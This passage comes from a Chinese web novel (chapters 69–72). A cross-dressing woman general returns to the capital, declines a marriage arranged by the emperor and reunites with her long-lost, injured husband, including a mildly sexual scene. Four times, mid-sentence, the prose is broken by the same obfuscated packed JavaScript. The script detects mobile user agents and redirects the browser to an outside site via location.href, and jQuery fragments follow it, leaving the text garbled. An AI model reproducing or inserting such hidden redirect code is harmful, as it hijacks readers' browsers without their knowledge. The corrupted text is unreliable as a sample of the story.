韩濯扳起她的小脸:“谁说的?” 韩珺没看她,别扭道:“她喜欢我,就不会把我送到这儿来,他们都这么说......” “放屁,”韩濯气笑了:“他们是谁,我明儿一个个打回去!” 韩珺拉住了她:“姑姑。” “嗯?” “她是不是念过很多书,认很多字......她会不会......” 会不会觉得我淘气,是个坏孩子? 韩濯躺了下来,沉默片刻道:“我不是很了解她。” “但我知道,她很爱很爱你。” 韩濯出帐时,和李三三打了个照面。 李三三挑了挑眉,问道:“哄睡了?” “嗯。” “吴钩跟我说了,”李三三道:“你这回带她回去,预备呆多久?” “不知道,”韩濯道:“看陛下留我多久。” “你要小心。”李三三突然道。 “嗯?” 李三三觉得韩濯智力有障碍一般,拧出一个奇异的表情:“你是真傻还是假傻?你得知道,现在整个大齐你韩家手握这么大的兵权,就算你有从龙护驾之功,得到的宠信又能持续多久?说起来还得感谢北边诸国没事就来打一架,不然你没了用武之地......” “那我就告老还乡。”韩濯满不在乎道:“好像这个元帅我乐意当一样,再说了,‘功高震主’还是太抬举我了,要是单纯想杀我,那就杀呗,韩家现在也就剩这么一颗头给人砍,我又不会有子嗣......” 李三三看着她,一言难尽道:“还有珺儿呢。” 韩濯摆了摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196171|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手:“我会安顿好的,再说了,珺儿她对外只是韩家军战死兄弟的女儿,不会牵扯到她的。” “这孩子心事多,”李三三叹了一口气:“不是好事,当初我曾担心,你就这么任由她叫你姑姑,会不会身份暴露,可她小小年纪嘴就这么严,从没在外面说漏一句,她这谨慎性子是天生的,可孩子时想得太多,将来不会快活......你这么瞧我作甚?” 韩濯笑道:“真是有趣,我们李大夫竟然也有朝一日想这么多,真有长辈样子,一点也不像当初......” “你不也不像当初了么?”李三三/反唇相讥。 韩濯没恼,轻轻道:“当初你成日里上蹿下跳没个正形,还总骂我,现在你脾气好了不少,我可能贱吧,还挺怀念的。” 李三三翻了个白眼:“你找骂?” 韩濯笑出了声:“不敢。” “我有时觉得你这人挺奇怪的,”李三三道:“若不是你经年来在我手下过了太多大伤小伤,我这辈子都不知道你的秘密,可见你捂得很严实,可你却任由珺儿叫你‘姑姑’,她日日在军营里乱窜,万一漏出点什么实在悬人心。” 韩濯满不在乎地将刀抛着玩:“无所谓了,他们就算知道,还能启用谁当元帅?” “但你若有意培养珺儿......” “你问我为什么不教她也扮成个小子?” 李三三觉得有什么不对,但是她的确也想知道。 “我记得我小时候,特别恨自己不是个男孩子。”韩濯缓缓道:“那时候狂得没边,觉得天上地下没有哪不可去,世上的大功业,只要我想,就能建立一番,可我看了很多书,却只能找到贤良淑德,孝顺恭敬的模范,我费尽心思在边边角角里查找能在朝堂疆场上叱咤风云的女子,却发现没有先例。” “我当时觉得,作为女人在史书上留下自己的名字是个多么困难的事。” 李三三嗤笑一声:“俗气。” “是啊,俗得很,不过,总还是有意义。” “如果我年少时,能有个做了元帅的姑姑,情况会不会不同,若是有机会,我还是想教天下人知道,韩清之是个女人。” 李三三无情道:“那你知道会有什么后果么?” “什么?” “两种,一种将你传成个样貌奇丑无比的女罗刹,另一种就是在话本子里给你配一个温柔多情的男人,所有女人都会希望你和他生个小孩。” “......” 韩濯沉默了,片刻道:“好吧,也许是这样,但也没什么可抱怨的,有些事总要慢慢来。” 二人走着,很快就到了帅帐之前,韩濯突然对李三三道:“三三。” “嗯?” “多谢你了。” 李三三嫌弃她肉麻,摆了摆手道:“说这个做什么,本姑娘是个宝儿不用你提醒。” 韩濯笑了笑,转身欲回帐,却被李三三叫住了。 “你......有时候其实可以向前看。” 韩濯知道她指的是什么,也没怪她哪壶不开提哪壶:“我还以为你从前专门和他联合起来对付我呢,倒戈得这样快。” “那不一样,”李三三道:“我当时并不知道你......算了。” 韩濯勉强笑了笑和她道了别。 帐内那碗药还在煨着,是阿信遵医嘱给韩濯预备的,说是为了调理她被炸得哪里都虚的身体。 韩濯定定呆立了一会儿,眼前想起林蔚死之前的脸来。 她默不作声地走上前去,将那碗药倒掉了。 69. 十字街头 从断雁关到京城的一路走得不算快,李三三不在,导致这一路都死气沉沉,随行的几个亲兵大气也不敢出,阿信和吴钩又一个赛一个的闷葫芦,可韩濯早就习惯了,没人说话,正好能让她静上一静。 韩珺也一反常态地安静,她偶尔想要透透气,就被吴钩护着骑在新买的小马上放木鸢玩,那木鸢是韩濯做的,拧几圈尾巴平托放手,就能滑飞出十几米远,韩珺放一会儿追一会儿,好歹是熬过了这漫长又无聊的旅程。 韩濯回京回得十分低调,和她五年前离开时完全不同,但见西京风物恍如昨日,本该有些怅然,可韩濯只觉得万千情绪都隔了一层,梦一般的不真切。 次日应诏入宫,韩濯本该好好打理一番,可她翻遍了自己的衣裳,竟然找不见有哪件没补丁,破天荒地有些尴尬,只好去翻公主府里的旧衣箱,可找来找去,却发现这些大多是宋青瑛当初购置的,府邸没有主人,衣服放久了有不少沾上了霉斑,韩濯有些心疼,只好一件一件拿出来,预备洗一洗再晒一晒,但不知宋青瑛当初用的是什么香,这么些年竟然隐隐不散,可怜兮兮地徘徊在旧袍子上,脆弱地仿佛抖一抖就会彻底消失。韩濯思考片刻,到底没舍得,重新叠好又放回去了。 于是皇帝陛下就接见了一个袖子上藏了三个补丁的英武侯。 韩濯本人没什么感觉,永熙皇帝本人却颇为感触起来,扶起她时还热泪盈眶,韩濯心里虽然觉得此人虽尊贵但有病,面上却只能装模作样地哄,最后君臣一问一答,不过又是谈起雁关以往的几次战事,举荐崭露头角的几个年轻小将军,韩濯以往听到的两党之争,却并未提起。 “此次回京,清之便多留些时日吧。” “多谢陛下,臣此次回京本是为了给陛下祝寿,不怕陛下笑话,臣如今家徒四壁,养韩家军都艰难得很,这些日子绞尽脑汁去想能送陛下什么别致些的寿礼。也承蒙陛下不嫌弃臣寒酸,原欲再打上几场胜仗,为我大齐开疆拓土才勉强能报答陛下垂爱,可如今石勒虽灭,可北方诸部却也并非一盘散沙,时不时多方结盟,恐怕臣真留不得太多时日。” 这是在绕着弯要钱了,宋乐湛想起过去几年韩濯格外频繁地要军饷,没忍住眉毛跳了一下,但仍很熟练地巧妙绕过了这一层,瞥见韩濯的袖子,道:“何必再送朕什么劳什子寿礼,都是些俗物,清之能回京看看朕,便已是最大的寿礼了。清之,这么些年,辛苦你了。” “分内之事,臣肝脑涂地犹恐不得报效君恩深重。” “雁关风霜五年,清之身边也没个可心人,也可怜我那三皇妹......” 他话音未落,韩濯便已跪了下来:“臣万死。” 宋乐湛叹了口气,亲手将她扶了起来:“你知道,朕没有怪罪你的意思,只是恍然想起故人,免不了嗟叹惋惜罢了,三皇妹......也算是为国舍身,已经五年了,朕想教她入皇陵,谥号便取一个昭字,清之意下如何?” 韩濯喉咙滚动了片刻,没有说话。 民间传言,长宁公主早就死了,毕竟那种境况之下落入羯族人手中,又五年毫无踪迹,能毫发无损地生还几乎是奇迹,立衣冠冢下葬这事不是没提过,可从前一提到这个韩濯就仿佛要疯了一般,胡说着什么:“活要见人死要见尸,殿下还没找到,你们便都盼着他死,我告诉你,我韩清之是他的官人,韩清之不认,殿下便还活着!” 宋乐湛的语气甚至带了些商量的意味,似乎也知道韩濯从前对旁人发的几回疯,可这一次,韩濯点头了。 宋乐湛解决了一桩称不上大事的事,本该多多少少有些高兴,可他不动声色道:“清之与皇妹成亲时,皇妹年纪尚小,可清之到了这个年岁却仍还没有子嗣,平日里衣食也无人照料,传出去还是要说朕慢待了我大齐的忠臣良将,朕的母家尚有个妹妹未出阁,过两日皇后设宴,不如届时你二人相看一番?” 韩濯跪了下来,道:“有劳陛下费心,但续弦一事,陛下还是莫要再提了。” 宋乐湛轻轻叹了一口气,却并未扶她起来:“朕知道你情深意重,本是好事,可你房中没有人,就这么任由你穿着破烂衣衫到处晃悠?像什么话!” 韩濯道:“臣惭愧,只是......殿下当初随臣南来北往,生死与共,吃了不知多少苦,若是没有殿下,臣未必能活到今日,无论殿下是生是死,莫说五年,就说十年二十年,我心中有了人,便不能再去祸害旁人家的姑娘,臣情愿守在雁关一辈子,如此,也算是常伴殿下左右,不至于辜负了他去......” 韩濯本来想掉一两滴泪出来做些样子,可愣是没挤出一滴来,她说的虽句句发自肺腑,但事情隔得太久,她忘了怎么伤心。 纵然如此,宋乐湛仍然被她轻轻触动了些心里的弦:“你起来吧。” “既然你执意如此,今日我们便不再提此事,平添伤怀。” 恰好今日白兰茵刚被召进宫陪皇后说完了话,韩濯刚好和她同路家去,顺便骑马护送,实则,也是要接白兰茵去公主府看看韩珺。 “你还住在公主府?” “是。” 白兰茵坐在车里沉默片刻,又开了口:“我听说了,陛下想把皇后的妹妹许给你。” 韩濯模糊不清地“嗯”了一声。 “为什么推掉?” “我对殿下情深意重。” 这话回得很顺,无可辩驳,却仍然苍白。 可除此之外,白兰茵想不出什么别的理由。 她提醒道:“陛下的意思是......” “有劳嫂嫂为我担心。”韩濯道:“我知道陛下是什么意思,所以我这辈子,不会有子嗣。” 能不知道么?韩濯有些嘲弄地想,韩家风头犹盛当年,不是什么好事,没了长宁公主牵制,又要挑个皇后母家的姑娘来配。 白兰茵还想说什么,但却在绕进西街时到了听见了远处一群女子的欢声呼叫。 韩濯还未来得及反应过来,便觉得怀中被什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15201935|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么东西砸了一下,拾起来看,却是一朵白色的花,芬芳扑面,韩濯顺势抬头望去,便见楼上立着一个姑娘,见韩濯看了过来,吃吃笑着捂住了嘴,胆子很大地继续盯着她看,未见丝毫羞赧。 随后又有几朵颜色不一的花砸在了她身上,几个姑娘的笑语铃铃,绽在即将消逝的晚春。 韩濯没恼,只是点点头朝她们笑着致意了一下,把那几朵花都好好地揣进了怀里。 白兰茵掀开车帘看向韩濯,微微笑道:“清之,确实好样貌,不知耽误多少姑娘。” “嫂嫂别笑我,”韩濯无奈地摇摇头道:“我得多谢陛下赏的袍子,若是我穿得和来时一样寒碜,未必这些姑娘能看得上我。” 白兰茵笑道:“你还是过谦,但你既对殿下情深意重,还要接这些佳人的花儿?” “两回事。”韩濯慢了下来,松开缰绳任由马溜溜达达地走:“我也是个姑娘,自然也明白姑娘是怎么想的,她们虽赠我花,却未必有多么喜欢我。” “哦?”白兰茵笑道:“怎么说?” “她们不认识我,却以春花相赠,是我承了人家的情,自当以礼相回,但我清楚这花是冲着我的皮相来的,若我是个衰朽的老媪,这花落不到我脑袋上,朝见晓花喜欢,晚见松月喜欢,人总是喜欢美的玩意,可这不代表是在给玩意留情。” 白兰茵觉得好笑:“若是哪家男人被漂亮姑娘丢了帕子,准要美滋滋对旁人宣告半天的,你倒好,把自己说成死物一样的玩意。” “像我这样幸运的人并不多,这些姑娘们快活的时日,说不准就只有未出阁的这几年,日后如何,大概率要看她们的造化,我若因为什么虚无缥缈的原因色厉内荏地拒绝不接,岂不是唐突了最珍重的少女旖怀?” 白兰茵瞧着她,觉得她像个看破红尘的老尼,轻轻道:“这么瞧来,我倒是把珺儿托付对了人,但清之......” 韩濯回过头来,和白兰茵四目相对:“你还很年轻呢,你也是很好很好的姑娘。” 韩濯微微一怔,却没流露出什么,最后也只是轻轻笑了笑。 路过街角时,韩濯似有所感地抬了头,当初她还是状元及第打马游街,走的是同一条路,路还是一样,人却不是那个人了。 宋青瑛当初,还特地偷偷跑出宫来凑热闹,也不知道他当时那么小一个挤在人山人海里,是站在了哪儿的楼头。 蓦然街角的高楼之上闪过一片白色的衣角,明明什么都没看清,韩濯的心跳却徒然快了起来,仿若春雷隆隆,震得她右耳都仿佛不好使了起来。 这高楼是整个西京最大的酒楼解忧居,韩濯从前和崔倍常来喝酒,时过境迁,竟已多年未曾踏足了。 “清之?小姑?” 韩濯喘了一口气,对有些担忧的白兰茵笑了笑,心知自己又魔怔了,刚要再说点什么,便窥见十字街的另一头,两个黑衣女孩在小巷深处鸟雀一般悄无声息地越过了墙头。 天元和小目? 70. 今夕何夕 酉时六刻,解忧居。 西京繁华依旧,楼下推杯换盏之音未绝,二楼雅间端坐了一年轻公子,碧色茶盏被他持在手中把玩,似乎是在等人。 其实他坐了有一会儿了,神色却无丝毫不耐,广袖下笼着一本近年流行的话本,时不时翻两页,看得也并未很认真。 一个下巴上长了几缕青须的男人走上楼来,他生得两腮凹陷,身材却十分魁梧,活像野猪身上生了鼠头。虽一身衣服十分气派华贵,但相貌猥琐,倒好似山鸡扮凤凰,说不出得古怪。 “公子请进吧,堂主等候多时了。” 那人瞧了瞧立在门边的女子,眼神油滑地上下打量了一番,不怀好意地嘿嘿一笑,倒也没放肆,推门而入。 门马上要关闭的下一秒,谁也没看清门边那女子是怎么动的,这公子的屁股上狠狠挨了一脚,踉跄着进了屋,险些给屋内的人行了个大礼。 “哎呦,沈公子,这可使不得。”屋内人并未起身,佯装惊讶地放下了话本子,对面前那人道。 姓沈的忍了半天才把到了嘴边的污言秽语咽下去,抬头看着眼前之人,却不由愣住了。 他从未想过路路通的堂主竟然这么年轻,虽以轻纱遮面,但此人气度不凡,微风起落,白衣广袖之下,必定藏了一副美人皮相。 他心里本还有些警惕的心放下了三分。 “沈公子坐,也莫白来一趟,尝一尝解忧居的好茶,可还合公子的胃口?” 那人听堂主这一番话,倒品出了别的意味:“白来一趟?看来堂主是不打算把我沈家的家产还回来了。” 白衣公子讶道:“还?此话怎讲,令堂一腔报国之志引人钦佩,捐献的家产皆是为了大齐边关稳固,当时和路路通商议多时才成了好事,公子这么一讲,倒好像我独吞了去......” “一个死人说的话算得了什么?如今我才是沈家的家主!” 白衣公子道:“这个我自然知晓,世事无常,沈兄半月前还和我把酒言欢,而今溘然仙逝,实在令人感怀。” 见那沈公子还要说话,白衣公子悠悠冒出一句:“沈公子,你们沈家的事我不便参与,但老家主之所以做此决断,自然有他的考量,你年纪轻轻,只要日后安分守己,几代攒下来的殷实家底也够衣食无忧,在下冲着与老家主的旧交,便赠两个铺面给沈家,沈公子便去了吧,日后也不必再找来。” 沈公子听闻自己被这年轻人当了晚辈教训,一阵怒意再也压制不住,见此人松口,更料定他是个可以捏上一捏的软柿子,便一拳砸在桌面上,震得满桌的杯盘一跳:“你个小白脸竟敢这样打发我,我便告诉你......” “沈公子有功夫在我这里撒泼,不妨家去再细查一查账。”白衣公子头也未抬,慢条斯理道:“我听说,西京上个月的姚家因放了印子钱,姚大公子现在还在狱中呢,尚不知如何发落。” 沈公子周身一抖。 “对了,沈公子在京城,可是大大的有名,却未曾听说对商道有什么涉猎,如今做了家主倒是很让我意外......沈公子知道怎么查账吧?” 这姓沈的本是个臭名远扬的京城纨绔,成日里只懂在花街柳巷偎红倚翠,本是什么都不懂的草包,却偏偏自命不凡,觉得这天下都有愧于他,他本就没什么脑子,听了这话气得直喘气,竟突然暴起想要动手。 白衣公子一动未动,随后只听轰地一声,房门豁然大开雪白的刀光一闪,直接架在了沈公子的脖子上。 那姓沈的突受此机,大叫一声,斜着眼睛向下看去,看见了自己脖子上一道鲜红的血。 他霎时周身虚软,昏了过去。 韩濯踢开这长得分外饱满的沈公子,回头看去,唯余空空杯盏,哪还有白衣公子的身影? 她眯起眼睛,提着刀从敞开的窗口追了出去。 解忧居背后是几道交错纵横的小巷,宋青瑛从楼上逃出来时,还扯破了半片衣角。 亏他在那沈草包那泰然自若,此刻遇上故人,吓得三魂丢了七魄,来不及整理划了一道口子的胳膊,脑子里唯一的念头只剩下了跑。 韩濯跟在后面穷追不舍,眼睁睁瞧见他拐进了旁边一个巷角。 是个死胡同。 韩濯突然就没再追了。 她觉得方才没来得及涌上来的一阵血气此刻漫上了眼,韩濯紧了紧拳,几乎咬碎一口银牙。 “我告诉你。” 韩濯的声音几乎是平静的,可似乎下一秒便山呼海啸。 “我数三个数,你不出来,以后这辈子也别见了。你的臭钱,也别想着让我收。” 平复了一下呼吸后,韩濯没有丝毫预兆地转身就走。 她步子很快,当真杀伐果断,毫不拖泥带水,行走如风间,隐约听见身后似乎有人隐隐喊她的名字。 她的腿被人抱住了。 宋青瑛只觉得一阵大力将他甩在丈外,而他抬头之时,雪亮的刀剑对上了自己的喉咙。 韩濯面无表情道:“你最好是有了什么别的相好,看在那个姑娘的份上,我或许可以不杀了你。” 宋青瑛喉咙滚动片刻顺着韩濯的力道扬起了脸:“那你杀了我吧。” “我甘之如饴。” 那把自己送的刀如降罚的雷霆一般砍了下来,宋青瑛整个人都呆呆的,躲也没躲。 可他随后感到脸上一凉。 “别!”他失声叫了出来,左手下意识护住了右脸。 可韩濯用不容拒绝的力道将他的手掰了下来,韩濯看清楚了,在他右耳下至脖颈,有一道细而又浅的疤痕。 ...... 就这? 韩濯的表情有一瞬间的崩裂。 宋青瑛却崩溃了,爬起来去摸索面纱,还没摸到就被韩濯提了起来。 “右手怎么了?” ...... “说话!” 韩濯方才就注意到,宋青瑛的右手一直拢在袖子里,方才举杯也好攀墙也罢用的都是左手。 他什么时候变成了左撇子? 宋青瑛挣动半天,带着一种类似绝望的心境把毕生的力气都使了出来,可韩濯也红了眼,他那里拗得过?很快,他的右手便被强行剥了出来。 韩濯愣住了。 那右手手腕纤细欲折,手掌却明显浮肿,以一种及其怪异的状态扭曲着,拇指扣在四指之内,不细看,还以为是断了。 遮掩已久的狼狈就这么大剌剌被日思夜想的人摊了开来,宋青瑛却突然平静了。 “废了。” “什么?” 宋青瑛看着韩濯,竟然微微笑了笑:“废了,一点感觉也没有,写不了字,也拿不了剑。” 随后笑了一声:“不过就算没废,我的剑在你眼里大概和废铁也没什么区别。” “可以动手了么?” 远处隐隐能听见面馆老板切肉的声音和小贩的吆喝声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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韩濯的胸腹,手臂上叠着大大小小的伤疤,有的的浅浅一条白线,有的却狰狞得仿佛要将人撕裂开。 “丑也没办法,你胆敢……” 韩濯不说话了。 宋青瑛搂住了她的腰,沿着那条横跨胸腹的疤痕吻了上去。 湿润的眼泪。 “对不起。”宋青瑛哽咽出声:“我不是有意……我当初……” “少废话了。”韩濯嗓子有点哑:“你到底行不行?” “天元和小目她们……” “早两个时辰前我就见过她们了,”韩濯说着,把宋青瑛按了下去:“不然你以为她们为什么不来追?” “我……” 两人赤诚相待,脑子却热不起来,伤的伤,残的残,眼泪滑下来,浸得心口一片冰凉,噩梦初醒,纠缠到一块时都失了理智,韩濯手上没收住劲儿,把人的后背上抓出两道血痕。 “姐姐……”宋青瑛魔怔一般趴在韩濯耳边一迭声地唤,韩濯听不清,被他弄得不耐,一巴掌甩了上去:“换一边…右边聋了。” ...... 宋青瑛顿住了,泪珠子砸在韩濯身上,烫得厉害。 “姐姐,你杀了我吧……” 痛快些,好过这样的凌迟。 71. 失而复得 韩濯从噩梦里醒来。 天已微亮,从帐外透出一两点灰冷的阳光,宋青瑛睁着一双大眼盯着人,也不知看了多久,见人醒了便凑上来亲她。 韩濯有些渴,不想动也不想说话,这床确实舒服,比行军帐好多了。 “行了别揉了,我腰不疼腿也不酸,省省力气。” 理论和实践不符,宋青瑛有些尴尬,只依言停了手。 “那我......” 韩濯懒得理人,把头一扭,随便宋青瑛又把脑袋贴到自己颈窝那拱来拱去。 意思很明显:老娘再睡一会,你自便。 再醒来时,韩濯闻到了一股暖甜的香,意识到肚子很不争气地叫嚣,她一骨碌爬了起来,随随便便套了件衣裳,正对上从门外进来的宋青瑛。 韩濯的衣裳松松垮垮地罩着,要多不像话有多不像话,宋青瑛脸又红了,下意识地到处乱瞟。 “睡都睡过了,搞什么?”韩濯嘟囔道。 宋青瑛没说韩濯身上这衣服是他的。 韩濯扪心自问,其实体验还是挺不错,宋青瑛除了有点粘人,像狗皮膏药一样难打发之外没什么别的毛病,她接过宋青瑛手里的食盒:“哪里买的?” 宋青瑛沉默片刻,道:“不是买的。” 韩濯有点难以置信道:“你做的?” “不全是。”宋青瑛脸红道:“清之凑合对付一下吧......” 韩濯试图说服自己一个残了一只手的人也可以轻轻松松地做早饭未果,只好转头去掀食盒的盖子。 几碟醉鸭小菜,切得很精细,另外还有一大碗红豆粥。 韩濯嘴角抽了抽,拿汤匙在碗里搅了搅,挖出一堆花生莲子。 她知道民间有这个习俗,但怎么想觉得怎么怪,用在她这个打了五年仗,砍人都砍习惯了的人身上,就更怪了。 韩濯带了点疑问看向宋青瑛。 此人大窘,迅速推卸责任:“不是我......是小目说的,我不要,她不允,说是提前泡了一夜,非要我煮......” 韩濯非常大人有大量地没和他计较,管他什么粥,能填饱肚子就行,于是随便摆了摆手盛了两碗,一碗给宋青瑛。 两个人坐下沉默着喝粥,宋青瑛左手筷子使得很灵活,一直殷勤地给韩濯夹菜。 韩濯在宋青瑛又一次把筷子伸向自己碗的时候抬手夹住了他的筷子。 “你这手到底怎么回事。” 宋青瑛低低道:“没事,都过去了。” 韩濯一股无名火起,嘴唇勾了勾笑道:“那行,吃完饭我就走。” 宋青瑛急切道:“你去哪?” 韩濯甩开抓住她腕子的手,冷笑道:“你管我去哪?” “可我们都已经......” “那咋了?你什么意思?”韩濯睨着眼瞧他,宋青瑛打了个实实在在的激灵,一盆冷水兜头罩下来,泼得整个人都哆嗦。 我什么意思,我什么意思...... 宋青瑛有些迷茫着想:他理所当然地觉得他们两个之后就能和五年前一般并肩而行,呆在一处,甚至......能得寸进尺些,可是...... 他为什么理所当然? 宋青瑛看向韩濯,想起了安平皇帝和冯婉萍。 我是不是变得和他一样?安平帝,永王.....他们不算什么好东西,那血脉相连的自己呢? 宋青瑛仿佛被韩濯判了死刑一般,脸色骤然白了下去,韩濯道:“日后,桥归桥路归路,你做你的堂主,我去守我的断雁关,我要是死了也用不着你收尸,喏,倒也不必生死不相见,逢年过节要是无聊,你情我愿地睡一觉也可以......” 韩濯讨厌宋青瑛这种有嘴不用还伤春悲秋的德行已久,存心治他一治。从前看他可怜兮兮,待自己也真诚,于是忍就忍了。可如今发现,狗屁的“待自己真诚”,敢情全是自己的自我攻略,眼下看着他,几乎想拎着脖子直接掐死了事。 “......你是不是很得意,嗯?”韩濯还在气头上,继续道:“当初我被炸得人事不知的时候,你来过对不对,看着我快死了也忘不了你,你开心了是不是?宋青瑛我告诉你,这世上没有谁少了谁就活不了.....” “我不是这个意思!我没有!” 韩濯甩开宋青瑛的手要走:“放开!” “我不放!”宋青瑛几乎喊了出来:“求求你别赶我走……我,我当初想找你的,可是一开始没办法去,后来不敢去。” “不敢?”韩濯重新坐了回去,扬了扬眉毛:“这回肯说了?” 当初宋青瑛藏好韩珺将人引开,毫无意外地被石严抓住了。 石严将他锁在地下囚室里,倒也并未为难他,可当初他身上全是刀伤,伤情尚未稳定,没有李三三的药,被锁在暗无天日的地下,很快就感染发热,不过他病弱之际,也隐隐觉得这是一个逃走的机会。 他知道石严欲拿自己为筹码与韩濯交涉后,更是心急如焚,连带着把自己的病情都装得严重了些,在石严看来,几乎要到了要命的地步,他自然也怕唯一的筹码出什么事,便抓了关内的大夫来为他诊治。 有了医生,便也有了接触外界的机会,宋青瑛那阵子借着大夫的手传递出不少消息,又和他联合迷晕了已经放松了警惕的守卫。 可宋青瑛那时才发现,解开锁链的钥匙并不在守卫那里,眼瞧着时间紧迫,宋青瑛不忍连累那忠勇的汉人大夫,生生砸断了自己的手才勉强逃了出来。 谁知天不遂人愿,他二人在逃亡途中撞上了劫掠商队的匪徒,那大夫被当场杀死,宋青瑛被锤击在地当场不省人事,若不是路路通他们及时找到了他,那他如今怕也是真的死了。 “我本来打算,逃出来就去找你,可是路路通一路将我送回了京城的堂口,我能清醒下来走路时,已经过去三个月了。” “三个月后呢?”这一段经历即便宋青瑛说得平铺直叙,听起来却也惊心动魄,韩濯几乎忘记了她还在和宋青瑛怄气,有些急切地问道。 宋青瑛嘴唇动了动,最后道:“医师说,我的手好不了了。” “我试着给你写信,试着拿起剑,但是......” 宋青瑛说不出话来。 好难啊,清之,好难啊。 他愿意和韩濯撒娇,添油加醋地抱怨疼,却不肯在她面前承认一个难字。 唯独这一点他不能承认,似乎承认一次,便彻彻底底地输了,他不甘心。 他拿不起笔,用左手写就的字由曾经的清秀变得歪歪扭扭,更别提拿起剑来,他从前暗暗下过决心,等到了雁关,一定要用心把剑学好,哪怕没有韩濯强,只需要没那么半吊子就成了,他不想再有下一次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239760|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能眼巴巴等着韩濯来救。 但他没有这个机会了。 断雁关的捷报传来京城,那一日他的手因为昨日不要命地试图握起重剑肿成猪蹄般的紫红。石勒已灭,京城里街头巷尾传的都是当今英武侯的丰功伟绩,他对着铜镜自照,镜中人苍白得仿佛鬼魅,脸上一道在逃亡时留下的明显血痕,在他眼里近乎狰狞,他习惯性伸出右手把铜镜收下来,却被手上的残缺甩了一脸自惭形秽。 最自暴自弃的时候,他甚至恨过韩濯。 “还疼么?”韩濯哑声问道。 “......不会了。” 其实会的,尤其是阴雨天,早三年痛得很厉害,成宿成宿地睡不着,痛感不尖锐,却格外磨人,苦痛连着筋脉,传到心里挑动教人溢泪的酸,但他没有眼泪可流,只好裹在被子里睁着一双眼听雨。 他知道韩濯不会嫌厌他,可越是知道,他越不敢和韩濯见面,她那样好,不该被这样不堪的自己耽误。 可偶尔,也可耻地期盼过韩濯能抱他一抱,把泪和伤都抹掉。 一个摇摆不定的人才最教人厌烦。 宋青瑛觉得自己矫情得可笑,有些自嘲地抽了抽嘴角,道:“是我不好,我该早早去见你的......我当时拖得太久,越拖就越不敢和你相认,是不是很可笑?” “......” “我已经大好了,左手字已习得很好看了,清之你......” 宋青瑛说不出话来,是韩濯抱住了他。 “不能再有下次了,这是最后一次。” 宋青瑛顿了片刻,把手轻轻放在了她的背上:“好。” “等见到李三三,你要让她瞧一瞧,不许说什么治不治得好的话。” “好...那你的耳朵......” 韩濯面不改色心不跳撒谎:“我在和你约法三章,少打岔,我又不像你,李三三给我开的药我可是顿顿不落。” 接着顿了顿继续道:“以后干什么,去哪里都要和我商量,你要是再敢干什么自以为是的蠢事,天下好男儿千千万,凭什么我要在你一棵树上吊死?” “好。” 韩濯还是没能狠下心。 她在宋青瑛的脸颊上亲了亲,对方得寸进尺,扳过她的下巴接吻。 一吻毕,韩濯喘了口气笑道:“挺会啊殿下,藏了多少小黄书?” “啊?” 韩濯勾了勾指头,附耳道:“你别以为我不知道,小小年纪就看那种编排我和崔子盛的话本子,长大了难不成会戒?再说了你昨晚表现很是老练,你说说,实战经验和理论经验,总得承认一个吧?” 宋青瑛脸红到了耳根,嗫嚅道:“只和你有经验......你要看的话,今晚我们再一起看......” 声音越说越小,可内容十分没羞没臊,韩濯拽了拽他的耳朵道:“好啊你,看着端庄正经,实际上......” “清之就说愿不愿意吧......”宋青瑛小声道,随后捂住了脸:“你不想就算了。” 韩濯若无其事忽略了快煮熟的宋青瑛:“快吃,吃完回府。” 宋青瑛道:“回......回哪?” “英武侯府啊,”韩濯理所应当道:“昨日嫂嫂把珺儿接回去住,我叫珺儿来见见姑父。” 宋青瑛手一抖,激动地掉了汤匙。 72. 宜室宜家 “听说这几年来,嫂嫂很得皇后娘娘宠信,召进宫里几次呢。”宋青瑛初次改称呼,说得有些小心翼翼。 “嗯?”韩濯本来眯着眼睛假寐,闻言掀起眼皮:“你知道的怪多。” 马车摇摇晃晃地前行,韩濯这几年几乎长在了马背上,已经许久没有过有人帮忙赶车的待遇,昨天折腾大半宿又做了个几乎仿佛过往重演的噩梦,没怎么睡好,用过饭后被车驾摇篮一般晃着,越晃越犯困。 宋青瑛道:“这在京城不算什么秘密,更何况不是我知道得多,只是清之,你毕竟手上握着大齐的刀,是要格外小心谨慎......” 韩濯忍不住一笑:“你们一个个还真是都担心我功高震主?” 